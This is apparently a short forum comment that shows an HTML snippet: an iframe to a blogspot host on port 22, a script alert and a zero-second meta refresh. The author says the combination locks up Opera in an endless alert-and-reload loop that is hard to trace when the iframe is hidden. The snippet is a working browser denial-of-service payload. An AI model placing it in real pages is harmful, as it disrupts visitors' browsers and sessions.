<iframe src="http://jeremiahgrossman.blogspot.com:22/"></iframe>
<script>alert('Die!');</script>
<meta http-equiv="refresh" content="0">
That pretty much destroys Opera unless the user is smart enough to turn off javascript from the alert box. Even then, if the iframe is hidden it could take awhile to find the source of the problem. Especially if they have saved sessions that Opera uses as default.
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Kyran